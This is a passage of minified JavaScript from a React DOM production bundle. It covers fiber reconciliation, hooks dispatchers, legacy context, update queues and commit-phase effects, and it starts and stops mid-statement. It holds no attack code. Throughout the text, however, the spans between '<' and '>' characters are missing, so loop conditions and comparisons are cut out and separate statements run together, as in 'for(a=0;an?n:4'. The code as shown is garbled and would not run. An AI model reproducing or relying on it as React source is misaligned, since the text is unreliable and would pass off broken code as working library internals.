a=Mr(),n=s.focusedElem,l=s.selectionRange;if(a!==n&&n&&n.ownerDocument&&Fr(n.ownerDocument.documentElement,n)){if(l!==null&&vc(n)){if(a=l.start,s=l.end,s===void 0&&(s=a),"selectionStart"in n)n.selectionStart=a,n.selectionEnd=Math.min(s,n.value.length);else if(s=(a=n.ownerDocument||document)&&a.defaultView||window,s.getSelection){s=s.getSelection();var p=n.textContent.length,e=Math.min(l.start,p);l=l.end===void 0?e:Math.min(l.end,p),!s.extend&&e>l&&(p=l,l=e,e=p),p=Kt(n,e);var c=Kt(n,l);p&&c&&(s.rangeCount!==1||s.anchorNode!==p.node||s.anchorOffset!==p.offset||s.focusNode!==c.node||s.focusOffset!==c.offset)&&(a=a.createRange(),a.setStart(p.node,p.offset),s.removeAllRanges(),e>l?(s.addRange(a),s.extend(c.node,c.offset)):(a.setEnd(c.node,c.offset),s.addRange(a)))}}for(a=[],s=n;s=s.parentNode;)s.nodeType===1&&a.push({element:s,left:s.scrollLeft,top:s.scrollTop});for(typeof n.focus=="function"&&n.focus(),n=0;n=document.documentMode,Ea=null,Ne=null,Kn=null,He=!1;function Ft(s,a,n){var l=n.window===n?n.document:n.nodeType===9?n:n.ownerDocument;He||Ea==null||Ea!==El(l)||(l=Ea,"selectionStart"in l&&vc(l)?l={start:l.selectionStart,end:l.selectionEnd}:(l=(l.ownerDocument&&l.ownerDocument.defaultView||window).getSelection(),l={anchorNode:l.anchorNode,anchorOffset:l.anchorOffset,focusNode:l.focusNode,focusOffset:l.focusOffset}),Kn&&_n(Kn,l)||(Kn=l,l=Pl(Ne,"onSelect"),0Ua||(s.current=Je[Ua],Je[Ua]=null,Ua--)}function F(s,a){Ua++,Je[Ua]=s.current,s.current=a}var ua={},os=ma(ua),js=ma(!1),va=ua;function cn(s,a){var n=s.type.contextTypes;if(!n)return ua;var l=s.stateNode;if(l&&l.__reactInternalMemoizedUnmaskedChildContext===a)return l.__reactInternalMemoizedMaskedChildContext;var p={},e;for(e in n)p[e]=a[e];return l&&(s=s.stateNode,s.__reactInternalMemoizedUnmaskedChildContext=a,s.__reactInternalMemoizedMaskedChildContext=p),p}function As(s){return s=s.childContextTypes,s!=null}function ql(){S(js),S(os)}function Et(s,a,n){if(os.current!==ua)throw Error(w(168));F(os,a),F(js,n)}function Ur(s,a,n){var l=s.stateNode;if(a=a.childContextTypes,typeof l.getChildContext!="function")return n;l=l.getChildContext();for(var p in l)if(!(p in a))throw Error(w(108,Ug(s)||"Unknown",p));return E({},n,l)}function sp(s){return s=(s=s.stateNode)&&s.__reactInternalMemoizedMergedChildContext||ua,va=os.current,F(os,s),F(js,js.current),!0}function Qt(s,a,n){var l=s.stateNode;if(!l)throw Error(w(169));n?(s=Ur(s,a,va),l.__reactInternalMemoizedMergedChildContext=s,S(js),S(os),F(os,s)):S(js),F(js,n)}var Qs=null,wp=!1,ne=!1;function _r(s){Qs===null?Qs=[s]:Qs.push(s)}function iI(s){wp=!0,_r(s)}function ba(){if(!ne&&Qs!==null){ne=!0;var s=0,a=K;try{var n=Qs;for(K=1;s>=c,p-=c,Ts=1<<32-Ks(a)+p|n<Y?(x=G,G=null):x=G.sibling;var N=j(h,G,C[Y],y);if(N===null){G===null&&(G=x);break}s&&G&&N.alternate===null&&a(h,G),g=e(N,g,Y),k===null?Z=N:k.sibling=N,k=N,G=x}if(Y===C.length)return n(h,G),J&&Za(h,Y),Z;if(G===null){for(;YY?(x=G,G=null):x=G.sibling;var Xs=j(h,G,N.value,y);if(Xs===null){G===null&&(G=x);break}s&&G&&Xs.alternate===null&&a(h,G),g=e(Xs,g,Y),k===null?Z=Xs:k.sibling=Xs,k=Xs,G=x}if(N.done)return n(h,G),J&&Za(h,Y),Z;if(G===null){for(;!N.done;Y++,N=C.next())N=d(h,N.value,y),N!==null&&(g=e(N,g,Y),k===null?Z=N:k.sibling=N,k=N);return J&&Za(h,Y),Z}for(G=l(h,G);!N.done;Y++,N=C.next())N=u(G,h,Y,N.value,y),N!==null&&(s&&N.alternate!==null&&G.delete(N.key===null?Y:N.key),g=e(N,g,Y),k===null?Z=N:k.sibling=N,k=N);return s&&G.forEach(function(un){return a(h,un)}),J&&Za(h,Y),Z}function B(h,g,C,y){if(typeof C=="object"&&C!==null&&C.type===za&&C.key===null&&(C=C.props.children),typeof C=="object"&&C!==null){switch(C.$$typeof){case Cl:s:{for(var Z=C.key,k=g;k!==null;){if(k.key===Z){if(Z=C.type,Z===za){if(k.tag===7){n(h,k.sibling),g=p(k,C.props.children),g.return=h,h=g;break s}}else if(k.elementType===Z||typeof Z=="object"&&Z!==null&&Z.$$typeof===na&&_t(Z)===k.type){n(h,k.sibling),g=p(k,C.props),g.ref=Wn(h,k,C),g.return=h,h=g;break s}n(h,k);break}else a(h,k);k=k.sibling}C.type===za?(g=Ya(C.props.children,h.mode,y,C.key),g.return=h,h=g):(y=Dl(C.type,C.key,C.props,null,h.mode,y),y.ref=Wn(h,g,C),y.return=h,h=y)}return c(h);case Ja:s:{for(k=C.key;g!==null;){if(g.key===k)if(g.tag===4&&g.stateNode.containerInfo===C.containerInfo&&g.stateNode.implementation===C.implementation){n(h,g.sibling),g=p(g,C.children||[]),g.return=h,h=g;break s}else{n(h,g);break}else a(h,g);g=g.sibling}g=ie(C,h.mode,y),g.return=h,h=g}return c(h);case na:return k=C._init,B(h,g,k(C._payload),y)}if(fn(C))return m(h,g,C,y);if(mn(C))return b(h,g,C,y);Bl(h,C)}return typeof C=="string"&&C!==""||typeof C=="number"?(C=""+C,g!==null&&g.tag===6?(n(h,g.sibling),g=p(g,C),g.return=h,h=g):(n(h,g),g=re(C,h.mode,y),g.return=h,h=g),c(h)):n(h,g)}return B}var on=$r(!0),qr=$r(!1),lp=ma(null),pp=null,Oa=null,Kc=null;function Fc(){Kc=Oa=pp=null}function Mc(s){var a=lp.current;S(lp),s._currentValue=a}function Ee(s,a,n){for(;s!==null;){var l=s.alternate;if((s.childLanes&a)!==a?(s.childLanes|=a,l!==null&&(l.childLanes|=a)):l!==null&&(l.childLanes&a)!==a&&(l.childLanes|=a),s===n)break;s=s.return}}function ln(s,a){pp=s,Kc=Oa=null,s=s.dependencies,s!==null&&s.firstContext!==null&&(s.lanes&a&&(Cs=!0),s.firstContext=null)}function fs(s){var a=s._currentValue;if(Kc!==s)if(s={context:s,memoizedValue:a,next:null},Oa===null){if(pp===null)throw Error(w(308));Oa=s,pp.dependencies={lanes:0,firstContext:s}}else Oa=Oa.next=s;return a}var Ga=null;function Sc(s){Ga===null?Ga=[s]:Ga.push(s)}function si(s,a,n,l){var p=a.interleaved;return p===null?(n.next=n,Sc(a)):(n.next=p.next,p.next=n),a.interleaved=n,Ps(s,l)}function Ps(s,a){s.lanes|=a;var n=s.alternate;for(n!==null&&(n.lanes|=a),n=s,s=s.return;s!==null;)s.childLanes|=a,n=s.alternate,n!==null&&(n.childLanes|=a),n=s,s=s.return;return n.tag===3?n.stateNode:null}var la=!1;function xc(s){s.updateQueue={baseState:s.memoizedState,firstBaseUpdate:null,lastBaseUpdate:null,shared:{pending:null,interleaved:null,lanes:0},effects:null}}function ai(s,a){s=s.updateQueue,a.updateQueue===s&&(a.updateQueue={baseState:s.baseState,firstBaseUpdate:s.firstBaseUpdate,lastBaseUpdate:s.lastBaseUpdate,shared:s.shared,effects:s.effects})}function _s(s,a){return{eventTime:s,lane:a,tag:0,payload:null,callback:null,next:null}}function Ia(s,a,n){var l=s.updateQueue;if(l===null)return null;if(l=l.shared,H&2){var p=l.pending;return p===null?a.next=a:(a.next=p.next,p.next=a),l.pending=a,Ps(s,n)}return p=l.interleaved,p===null?(a.next=a,Sc(l)):(a.next=p.next,p.next=a),l.interleaved=a,Ps(s,n)}function Fl(s,a,n){if(a=a.updateQueue,a!==null&&(a=a.shared,(n&4194240)!==0)){var l=a.lanes;l&=s.pendingLanes,n|=l,a.lanes=n,Wc(s,n)}}function Lt(s,a){var n=s.updateQueue,l=s.alternate;if(l!==null&&(l=l.updateQueue,n===l)){var p=null,e=null;if(n=n.firstBaseUpdate,n!==null){do{var c={eventTime:n.eventTime,lane:n.lane,tag:n.tag,payload:n.payload,callback:n.callback,next:null};e===null?p=e=c:e=e.next=c,n=n.next}while(n!==null);e===null?p=e=a:e=e.next=a}else p=e=a;n={baseState:l.baseState,firstBaseUpdate:p,lastBaseUpdate:e,shared:l.shared,effects:l.effects},s.updateQueue=n;return}s=n.lastBaseUpdate,s===null?n.firstBaseUpdate=a:s.next=a,n.lastBaseUpdate=a}function ep(s,a,n,l){var p=s.updateQueue;la=!1;var e=p.firstBaseUpdate,c=p.lastBaseUpdate,t=p.shared.pending;if(t!==null){p.shared.pending=null;var o=t,i=o.next;o.next=null,c===null?e=i:c.next=i,c=o;var I=s.alternate;I!==null&&(I=I.updateQueue,t=I.lastBaseUpdate,t!==c&&(t===null?I.firstBaseUpdate=i:t.next=i,I.lastBaseUpdate=o))}if(e!==null){var d=p.baseState;c=0,I=i=o=null,t=e;do{var j=t.lane,u=t.eventTime;if((l&j)===j){I!==null&&(I=I.next={eventTime:u,lane:0,tag:t.tag,payload:t.payload,callback:t.callback,next:null});s:{var m=s,b=t;switch(j=a,u=n,b.tag){case 1:if(m=b.payload,typeof m=="function"){d=m.call(u,d,j);break s}d=m;break s;case 3:m.flags=m.flags&-65537|128;case 0:if(m=b.payload,j=typeof m=="function"?m.call(u,d,j):m,j==null)break s;d=E({},d,j);break s;case 2:la=!0}}t.callback!==null&&t.lane!==0&&(s.flags|=64,j=p.effects,j===null?p.effects=[t]:j.push(t))}else u={eventTime:u,lane:j,tag:t.tag,payload:t.payload,callback:t.callback,next:null},I===null?(i=I=u,o=d):I=I.next=u,c|=j;if(t=t.next,t===null){if(t=p.shared.pending,t===null)break;j=t,t=j.next,j.next=null,p.lastBaseUpdate=j,p.shared.pending=null}}while(!0);if(I===null&&(o=d),p.baseState=o,p.firstBaseUpdate=i,p.lastBaseUpdate=I,a=p.shared.interleaved,a!==null){p=a;do c|=p.lane,p=p.next;while(p!==a)}else e===null&&(p.shared.lanes=0);Ha|=c,s.lanes=c,s.memoizedState=d}}function Ot(s,a,n){if(s=a.effects,a.effects=null,s!==null)for(a=0;an?n:4,s(!0);var l=pe.transition;pe.transition={};try{s(!1),a()}finally{K=n,pe.transition=l}}function ui(){return Ys().memoizedState}function dI(s,a,n){var l=Ca(s);if(n={lane:l,action:n,hasEagerState:!1,eagerState:null,next:null},yi(s))mi(a,n);else if(n=si(s,a,n,l),n!==null){var p=is();Fs(n,s,l,p),bi(n,a,l)}}function CI(s,a,n){var l=Ca(s),p={lane:l,action:n,hasEagerState:!1,eagerState:null,next:null};if(yi(s))mi(a,p);else{var e=s.alternate;if(s.lanes===0&&(e===null||e.lanes===0)&&(e=a.lastRenderedReducer,e!==null))try{var c=a.lastRenderedState,t=e(c,n);if(p.hasEagerState=!0,p.eagerState=t,Ms(t,c)){var o=a.interleaved;o===null?(p.next=p,Sc(a)):(p.next=o.next,o.next=p),a.interleaved=p;return}}catch{}finally{}n=si(s,a,p,l),n!==null&&(p=is(),Fs(n,s,l,p),bi(n,a,l))}}function yi(s){var a=s.alternate;return s===D||a!==null&&a===D}function mi(s,a){Fn=tp=!0;var n=s.pending;n===null?a.next=a:(a.next=n.next,n.next=a),s.pending=a}function bi(s,a,n){if(n&4194240){var l=a.lanes;l&=s.pendingLanes,n|=l,a.lanes=n,Wc(s,n)}}var op={readContext:fs,useCallback:es,useContext:es,useEffect:es,useImperativeHandle:es,useInsertionEffect:es,useLayoutEffect:es,useMemo:es,useReducer:es,useRef:es,useState:es,useDebugValue:es,useDeferredValue:es,useTransition:es,useMutableSource:es,useSyncExternalStore:es,useId:es,unstable_isNewReconciler:!1},jI={readContext:fs,useCallback:function(s,a){return xs().memoizedState=[s,a===void 0?null:a],s},useContext:fs,useEffect:$t,useImperativeHandle:function(s,a,n){return n=n!=null?n.concat([s]):null,Sl(4194308,4,Ii.bind(null,a,s),n)},useLayoutEffect:function(s,a){return Sl(4194308,4,s,a)},useInsertionEffect:function(s,a){return Sl(4,2,s,a)},useMemo:function(s,a){var n=xs();return a=a===void 0?null:a,s=s(),n.memoizedState=[s,a],s},useReducer:function(s,a,n){var l=xs();return a=n!==void 0?n(a):a,l.memoizedState=l.baseState=a,s={pending:null,interleaved:null,lanes:0,dispatch:null,lastRenderedReducer:s,lastRenderedState:a},l.queue=s,s=s.dispatch=dI.bind(null,D,s),[l.memoizedState,s]},useRef:function(s){var a=xs();return s={current:s},a.memoizedState=s},useState:Pt,useDebugValue:_c,useDeferredValue:function(s){return xs().memoizedState=s},useTransition:function(){var s=Pt(!1),a=s[0];return s=II.bind(null,s[1]),xs().memoizedState=s,[a,s]},useMutableSource:function(){},useSyncExternalStore:function(s,a,n){var l=D,p=xs();if(J){if(n===void 0)throw Error(w(407));n=n()}else{if(n=a(),ss===null)throw Error(w(349));Na&30||ei(l,a,n)}p.memoizedState=n;var e={value:n,getSnapshot:a};return p.queue=e,$t(ti.bind(null,l,e,s),[s]),l.flags|=2048,nl(9,ci.bind(null,l,e,n,a),void 0,null),n},useId:function(){var s=xs(),a=ss.identifierPrefix;if(J){var n=Us,l=Ts;n=(l&~(1<<32-Ks(l)-1)).toString(32)+n,a=":"+a+"R"+n,n=sl++,0<\/script>",s=s.removeChild(s.firstChild)):typeof l.is=="string"?s=c.createElement(n,{is:l.is}):(s=c.createElement(n),n==="select"&&(c=s,l.multiple?c.multiple=!0:l.size&&(c.size=l.size))):s=c.createElementNS(s,n),s[Js]=a,s[Pn]=l,Ri(s,a,!1,!1),a.stateNode=s;s:{switch(c=Be(n,l),n){case"dialog":M("cancel",s),M("close",s),p=l;break;case"iframe":case"object":case"embed":M("load",s),p=l;break;case"video":case"audio":for(p=0;phn&&(a.flags|=128,l=!0,Bn(e,!1),a.lanes=4194304)}else{if(!l)if(s=cp(c),s!==null){if(a.flags|=128,l=!0,n=s.updateQueue,n!==null&&(a.updateQueue=n,a.flags|=4),Bn(e,!0),e.tail===null&&e.tailMode==="hidden"&&!c.alternate&&!J)return cs(a),null}else 2*U()-e.renderingStartTime>hn&&n!==1073741824&&(a.flags|=128,l=!0,Bn(e,!1),a.lanes=4194304);e.isBackwards?(c.sibling=a.child,a.child=c):(n=e.last,n!==null?n.sibling=c:a.child=c,e.last=c)}return e.tail!==null?(a=e.tail,e.rendering=a,e.tail=a.sibling,e.renderingStartTime=U(),a.sibling=null,n=z.current,K(z,l?n&1|2:n&1),a):(cs(a),null);case 22:case 23:return qc(),l=a.memoizedState!==null,s!==null&&s.memoizedState!==null!==l&&(a.flags|=8192),l&&a.mode&1?ys&1073741824&&(cs(a),a.subtreeFlags&6&&(a.flags|=8192)):cs(a),null;case 24:return null;case 25:return null}throw Error(w(156,a.tag))}function WI(s,a){switch(vc(a),a.tag){case 1:return As(a.type)&&ql(),s=a.flags,s&65536?(a.flags=s&-65537|128,a):null;case 3:return rn(),S(js),S(os),zc(),s=a.flags,s&65536&&!(s&128)?(a.flags=s&-65537|128,a):null;case 5:return Jc(a),null;case 13:if(S(z),s=a.memoizedState,s!==null&&s.dehydrated!==null){if(a.alternate===null)throw Error(w(340));tn()}return s=a.flags,s&65536?(a.flags=s&-65537|128,a):null;case 19:return S(z),null;case 4:return rn(),null;case 10:return Kc(a.type._context),null;case 22:case 23:return qc(),null;case 24:return null;default:return null}}var Vl=!1,ts=!1,BI=typeof WeakSet=="function"?WeakSet:Set,V=null;function Pa(s,a){var n=s.ref;if(n!==null)if(typeof n=="function")try{n(null)}catch(l){Q(s,a,l)}else n.current=null}function qe(s,a,n){try{n()}catch(l){Q(s,a,l)}}var oo=!1;function GI(s,a){if(Fe=Ll,s=Mr(),Xc(s)){if("selectionStart"in s)var n={start:s.selectionStart,end:s.selectionEnd};else s:{n=(n=s.ownerDocument)&&n.defaultView||window;var l=n.getSelection&&n.getSelection();if(l&&l.rangeCount!==0){n=l.anchorNode;var p=l.anchorOffset,e=l.focusNode;l=l.focusOffset;try{n.nodeType,e.nodeType}catch{n=null;break s}var c=0,t=-1,o=-1,i=0,I=0,d=s,j=null;a:for(;;){for(var u;d!==n||p!==0&&d.nodeType!==3||(t=c+p),d!==e||l!==0&&d.nodeType!==3||(o=c+l),d.nodeType===3&&(c+=d.nodeValue.length),(u=d.firstChild)!==null;)j=d,d=u;for(;;){if(d===s)break a;if(j===n&&++i===p&&(t=c),j===e&&++I===l&&(o=c),(u=d.nextSibling)!==null)break;d=j,j=d.parentNode}d=u}n=t===-1||o===-1?null:{start:t,end:o}}else n=null}n=n||{start:0,end:0}}else n=null;for(Ke={focusedElem:s,selectionRange:n},Ll=!1,V=a;V!==null;)if(a=V,s=a.child,(a.subtreeFlags&1028)!==0&&s!==null)s.return=a,V=s;else for(;V!==null;){a=V;try{var m=a.alternate;if(a.flags&1024)switch(a.tag){case 0:case 11:case 15:break;case 1:if(m!==null){var b=m.memoizedProps,Z=m.memoizedState,h=a.stateNode,g=h.getSnapshotBeforeUpdate(a.elementType===a.type?b:vs(a.type,b),Z);h.__reactInternalSnapshotBeforeUpdate=g}break;case 3:var C=a.stateNode.containerInfo;C.nodeType===1?C.textContent="":C.nodeType===9&&C.documentElement&&C.removeChild(C.documentElement);break;case 5:case 6:case 4:case 17:break;default:throw Error(w(163))}}catch(y){Q(a,a.return,y)}if(s=a.sibling,s!==null){s.return=a.return,V=s;break}V=a.return}return m=oo,oo=!1,m}function Mn(s,a,n){var l=a.updateQueue;if(l=l!==null?l.lastEffect:null,l!==null){var p=l=l.next;do{if((p.tag&s)===s){var e=p.destroy;p.destroy=void 0,e!==void 0&&qe(a,n,e)}p=p.next}while(p!==l)}}function Wp(s,a){if(a=a.updateQueue,a=a!==null?a.lastEffect:null,a!==null){var n=a=a.next;do{if((n.tag&s)===s){var l=n.create;n.destroy=l()}n=n.next}while(n!==a)}}function sc(s){var a=s.ref;if(a!==null){var n=s.stateNode;switch(s.tag){case 5:s=n;break;default:s=n}typeof a=="function"?a(s):a.current=s}}function Hi(s){var a=s.alternate;a!==null&&(s.alternate=null,Hi(a)),s.child=null,s.deletions=null,s.sibling=null,s.tag===5&&(a=s.stateNode,a!==null&&(delete a[Js],delete a[Pn],delete a[xe],delete a[rI],delete a[iI])),s.stateNode=null,s.return=null,s.dependencies=null,s.memoizedProps=null,s.memoizedState=null,s.pendingProps=null,s.stateNode=null,s.updateQueue=null}function Fi(s){return s.tag===5||s.tag===3||s.tag===4}function ro(s){s:for(;;){for(;s.sibling===null;){if(s.return===null||Fi(s.return))return null;s=s.return}for(s.sibling.return=s.return,s=s.sibling;s.tag!==5&&s.tag!==6&&s.tag!==18;){if(s.flags&2||s.child===null||s.tag===4)continue s;s.child.return=s,s=s.child}if(!(s.flags&2))return s.stateNode}}function ac(s,a,n){var l=s.tag;if(l===5||l===6)s=s.stateNode,a?n.nodeType===8?n.parentNode.insertBefore(s,a):n.insertBefore(s,a):(n.nodeType===8?(a=n.parentNode,a.insertBefore(s,n)):(a=n,a.appendChild(s)),n=n._reactRootContainer,n!=null||a.onclick!==null||(a.onclick=$l));else if(l!==4&&(s=s.child,s!==null))for(ac(s,a,n),s=s.sibling;s!==null;)ac(s,a,n),s=s.sibling}function nc(s,a,n){var l=s.tag;if(l===5||l===6)s=s.stateNode,a?n.insertBefore(s,a):n.appendChild(s);else if(l!==4&&(s=s.child,s!==null))for(nc(s,a,n),s=s.sibling;s!==null;)nc(s,a,n),s=s.sibling}var ns=null,Ns=!1;function sa(s,a,n){for(n=n.child;n!==null;)Ki(s,a,n),n=n.sibling}function Ki(s,a,n){if(zs&&typeof zs.onCommitFiberUnmount=="function")try{zs.onCommitFiberUnmount(Ap,n)}catch{}switch(n.tag){case 5:ts||Pa(n,a);case 6:var l=ns,p=Ns;ns=null,sa(s,a,n),ns=l,Ns=p,ns!==null&&(Ns?(s=ns,n=n.stateNode,s.nodeType===8?s.parentNode.removeChild(n):s.removeChild(n)):ns.removeChild(n.stateNode));break;case 18:ns!==null&&(Ns?(s=ns,n=n.stateNode,s.nodeType===8?ae(s.parentNode,n):s.nodeType===1&&ae(s,n),Tn(s)):ae(ns,n.stateNode));break;case 4:l=ns,p=Ns,ns=n.stateNode.containerInfo,Ns=!0,sa(s,a,n),ns=l,Ns=p;break;case 0:case 11:case 14:case 15:if(!ts&&(l=n.updateQueue,l!==null&&(l=l.lastEffect,l!==null))){p=l=l.next;do{var e=p,c=e.destroy;e=e.tag,c!==void 0&&(e&2||e&4)&&qe(n,a,c),p=p.next}while(p!==l)}sa(s,a,n);break;case 1:if(!ts&&(Pa(n,a),l=n.stateNode,typeof l.componentWillUnmount=="function"))try{l.props=n.memoizedProps,l.state=n.memoizedState,l.componentWillUnmount()}catch(t){Q(n,a,t)}sa(s,a,n);break;case 21:sa(s,a,n);break;case 22:n.mode&1?(ts=(l=ts)||n.memoizedState!==null,sa(s,a,n),ts=l):sa(s,a,n);break;default:sa(s,a,n)}}function io(s){var a=s.updateQueue;if(a!==null){s.updateQueue=null;var n=s.stateNode;n===null&&(n=s.stateNode=new BI),a.forEach(function(l){var p=FI.bind(null,s,l);n.has(l)||(n.add(l),l.then(p,p))})}}function Rs(s,a){var n=a.deletions;if(n!==null)for(var l=0;lp&&(p=c),l&=~e}if(l=p,l=U()-l,l=(120>l?120:480>l?480:1080>l?1080:1920>l?1920:3e3>l?3e3:4320>l?4320:1960*fI(l/1960))-l,10s?16:s,ta===null)var l=!1;else{if(s=ta,ta=null,gp=0,H&6)throw Error(w(331));var p=H;for(H|=4,V=s.current;V!==null;){var e=V,c=e.child;if(V.flags&16){var t=e.deletions;if(t!==null){for(var o=0;oU()-Pc?fa(s,0):Oc|=n),us(s,a)}function Qi(s,a){a===0&&(s.mode&1?(a=yl,yl<<=1,!(yl&130023424)&&(yl=4194304)):a=1);var n=is();s=Ps(s,a),s!==null&&(tl(s,a,n),us(s,n))}function HI(s){var a=s.memoizedState,n=0;a!==null&&(n=a.retryLane),Qi(s,n)}function FI(s,a){var n=0;switch(s.tag){case 13:var l=s.stateNode,p=s.memoizedState;p!==null&&(n=p.retryLane);break;case 19:l=s.stateNode;break;default:throw Error(w(314))}l!==null&&l.delete(a),Qi(s,n)}var Ti;Ti=function(s,a,n){if(s!==null)if(s.memoizedProps!==a.pendingProps||js.current)Cs=!0;else{if(!(s.lanes&n)&&!(a.flags&128))return Cs=!1,kI(s,a,n);Cs=!!(s.flags&131072)}else Cs=!1,J&&a.flags&1048576&&Lr(a,np,a.index);switch(a.lanes=0,a.tag){case 2:var l=a.type;xl(s,a),s=a.pendingProps;var p=cn(a,os.current);ln(a,n),p=Ec(null,a,l,s,p,n);var e=Qc();return a.flags|=1,typeof p=="object"&&p!==null&&typeof p.render=="function"&&p.$$typeof===void 0?(a.tag=1,a.memoizedState=null,a.updateQueue=null,As(l)?(e=!0,sp(a)):e=!1,a.memoizedState=p.state!==null&&p.state!==void 0?p.state:null,Sc(a),p.updater=kp,a.stateNode=p,p._reactInternals=a,Te(a,l,s,n),a=Le(null,a,l,!0,e,n)):(a.tag=0,J&&e&&Rc(a),rs(null,a,p,n),a=a.child),a;case 16:l=a.elementType;s:{switch(xl(s,a),s=a.pendingProps,p=l._init,l=p(l._payload),a.type=l,p=a.tag=MI(l),s=vs(l,s),p){case 0:a=_e(null,a,l,s,n);break s;case 1:a=eo(null,a,l,s,n);break s;case 11:a=lo(null,a,l,s,n);break s;case 14:a=po(null,a,l,vs(l.type,s),n);break s}throw Error(w(306,l,""))}return a;case 0:return l=a.type,p=a.pendingProps,p=a.elementType===l?p:vs(l,p),_e(s,a,l,p,n);case 1:return l=a.type,p=a.pendingProps,p=a.elementType===l?p:vs(l,p),eo(s,a,l,p,n);case 3:s:{if(fi(a),s===null)throw Error(w(387));l=a.pendingProps,e=a.memoizedState,p=e.element,qr(s,a),ep(a,l,null,n);var c=a.memoizedState;if(l=c.element,e.isDehydrated)if(e={element:l,isDehydrated:!1,cache:c.cache,pendingSuspenseBoundaries:c.pendingSuspenseBoundaries,transitions:c.transitions},a.updateQueue.baseState=e,a.memoizedState=e,a.flags&256){p=gn(Error(w(423)),a),a=co(s,a,l,n,p);break s}else if(l!==p){p=gn(Error(w(424)),a),a=co(s,a,l,n,p);break s}else for(ms=ha(a.stateNode.containerInfo.firstChild),bs=a,J=!0,Hs=null,n=li(a,null,l,n),a.child=n;n;)n.flags=n.flags&-3|4096,n=n.sibling;else{if(tn(),l===p){a=$s(s,a,n);break s}rs(s,a,l,n)}a=a.child}return a;case 5:return pi(a),s===null&&De(a),l=a.type,p=a.pendingProps,e=s!==null?s.memoizedProps:null,c=p.children,Me(l,p)?c=null:e!==null&&Me(l,e)&&(a.flags|=32),Vi(s,a),rs(s,a,c,n),a.child;case 6:return s===null&&De(a),null;case 13:return Yi(s,a,n);case 4:return xc(a,a.stateNode.containerInfo),l=a.pendingProps,s===null?a.child=on(a,null,l,n):rs(s,a,l,n),a.child;case 11:return l=a.type,p=a.pendingProps,p=a.elementType===l?p:vs(l,p),lo(s,a,l,p,n);case 7:return rs(s,a,a.pendingProps,n),a.child;case 8:return rs(s,a,a.pendingProps.children,n),a.child;case 12:return rs(s,a,a.pendingProps.children,n),a.child;case 10:s:{if(l=a.type._context,p=a.pendingProps,e=a.memoizedProps,c=p.value,K(lp,l._currentValue),l._currentValue=c,e!==null)if(Ms(e.value,c)){if(e.children===p.children&&!js.current){a=$s(s,a,n);break s}}else for(e=a.child,e!==null&&(e.return=a);e!==null;){var t=e.dependencies;if(t!==null){c=e.child;for(var o=t.firstContext;o!==null;){if(o.context===l){if(e.tag===1){o=_s(-1,n&-n),o.tag=2;var i=e.updateQueue;if(i!==null){i=i.shared;var I=i.pending;I===null?o.next=o:(o.next=I.next,I.next=o),i.pending=o}}e.lanes|=n,o=e.alternate,o!==null&&(o.lanes|=n),Ee(e.return,n,a),t.lanes|=n;break}o=o.next}}else if(e.tag===10)c=e.type===a.type?null:e.child;else if(e.tag===18){if(c=e.return,c===null)throw Error(w(341));c.lanes|=n,t=c.alternate,t!==null&&(t.lanes|=n),Ee(c,n,a),c=e.sibling}else c=e.child;if(c!==null)c.return=e;else for(c=e;c!==null;){if(c===a){c=null;break}if(e=c.sibling,e!==null){e.return=c.return,c=e;break}c=c.return}e=c}rs(s,a,p.children,n),a=a.child}return a;case 9:return p=a.type,l=a.pendingProps.children,ln(a,n),p=fs(p),l=l(p),a.flags|=1,rs(s,a,l,n),a.child;case 14:return l=a.type,p=vs(l,a.pendingProps),p=vs(l.type,p),po(s,a,l,p,n);case 15:return Bi(s,a,a.type,a.pendingProps,n);case 17:return l=a.type,p=a.pendingProps,p=a.elementType===l?p:vs(l,p),xl(s,a),a.tag=1,As(l)?(s=!0,sp(a)):s=!1,ln(a,n),ai(a,l,p),Te(a,l,p,n),Le(null,a,l,!0,s,n);case 19:return Xi(s,a,n);case 22:return Gi(s,a,n)}throw Error(w(156,a.tag))};function Ui(s,a){return yr(s,a)}function KI(s,a,n,l){this.tag=s,this.key=n,this.sibling=this.child=this.return=this.stateNode=this.type=this.elementType=null,this.index=0,this.ref=null,this.pendingProps=a,this.dependencies=this.memoizedState=this.updateQueue=this.memoizedProps=null,this.mode=l,this.subtreeFlags=this.flags=0,this.deletions=null,this.childLanes=this.lanes=0,this.alternate=null}function Gs(s,a,n,l){return new KI(s,a,n,l)}function at(s){return s=s.prototype,!(!s||!s.isReactComponent)}function MI(s){if(typeof s=="function")return at(s)?1:0;if(s!=null){if(s=s.$$typeof,s===mc)return 11;if(s===bc)return 14}return 2}function ja(s,a){var n=s.alternate;return n===null?(n=Gs(s.tag,a,s.key,s.mode),n.elementType=s.elementType,n.type=s.type,n.stateNode=s.stateNode,n.alternate=s,s.alternate=n):(n.pendingProps=a,n.type=s.type,n.flags=0,n.subtreeFlags=0,n.deletions=null),n.flags=s.flags&14680064,n.childLanes=s.childLanes,n.lanes=s.lanes,n.child=s.child,n.memoizedProps=s.memoizedProps,n.memoizedState=s.memoizedState,n.updateQueue=s.updateQueue,a=s.dependencies,n.dependencies=a===null?null:{lanes:a.lanes,firstContext:a.firstContext},n.sibling=s.sibling,n.index=s.index,n.ref=s.ref,n}function Dl(s,a,n,l,p,e){var c=2;if(l=s,typeof s=="function")at(s)&&(c=1);else if(typeof s=="string")c=5;else s:switch(s){case za:return Ya(n.children,p,e,a);case yc:c=8,p|=8;break;case je:return s=Gs(12,n,a,p|2),s.elementType=je,s.lanes=e,s;case Ae:return s=Gs(13,n,a,p),s.elementType=Ae,s.lanes=e,s;case ue:return s=Gs(19,n,a,p),s.elementType=ue,s.lanes=e,s;case nr:return Gp(n,p,e,a);default:if(typeof s=="object"&&s!==null)switch(s.$$typeof){case sr:c=10;break s;case ar:c=9;break s;case mc:c=11;break s;case bc:c=14;break s;case na:c=16,l=null;break s}throw Error(w(130,s==null?s:typeof s,""))}return a=Gs(c,n,a,p),a.elementType=s,a.type=l,a.lanes=e,a}function Ya(s,a,n,l){return s=Gs(7,s,l,a),s.lanes=n,s}function Gp(s,a,n,l){return s=Gs(22,s,l,a),s.elementType=nr,s.lanes=n,s.stateNode={isHidden:!1},s}function re(s,a,n){return s=Gs(6,s,null,a),s.lanes=n,s}function ie(s,a,n){return a=Gs(4,s.children!==null?s.children:[],s.key,a),a.lanes=n,a.stateNode={containerInfo:s.containerInfo,pendingChildren:null,implementation:s.implementation},a}function 